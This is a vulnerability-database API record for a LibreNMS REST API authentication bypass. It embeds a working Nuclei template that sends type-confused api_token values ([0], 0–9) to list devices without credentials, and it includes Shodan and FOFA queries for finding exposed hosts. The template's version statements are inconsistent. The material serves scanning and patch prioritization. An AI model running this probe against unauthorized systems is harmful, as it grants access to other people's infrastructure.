{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-86426/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-86426/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-86426/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-86426/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-86426/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-86426/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-86426"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-86426"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.04358,"kev":false,"percentile":0.91241},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-86426.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-86426\n\ninfo:\n  name: LibreNMS <= 26.7.0 - Unauthenticated API Access\n  author: 0x_Akoko\n  severity: critical\n  description: |\n    LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.\n  impact: |\n    Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.\n  remediation: |\n    Update to version 26.8.0 or later.\n  reference:\n    - https://github.com/librenms/librenms/security/advisories/GHSA-cvq8-gqfq-3mvg\n  classification:\n    cvss-score: 9.2\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 11\n    vendor: librenms\n    product: librenms\n    shodan-query: http.title:\"LibreNMS\"\n    fofa-query: title=\"LibreNMS\"\n  tags: librenms,auth-bypass,type-confusion,api,unauth,vkev\n\nflow: |\n  if (http(1)) {\n    var guesses = [[0], 1, 2, 3, 4, 5, 6, 7, 8, 9];\n    for (var i = 0; i < guesses.length; i++) {\n      set(\"guess\", JSON.stringify(guesses[i]));\n      if (http(2)) break;\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(body), \"librenms\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v0/devices HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"api_token\":{{guess}}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"\\\"status\\\"\", \"\\\"ok\\\"\", \"\\\"devices\\\"\")'\n        condition: and\n# digest: 4a0a00473045022100aaf48a7928475220770b0383a3f505b463d65a77b135f3f87d66a3def2679a7802206ae285a24252e603e708b406156b70a04a3fb6374568554084d7a5ecae9a680e:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-86426"}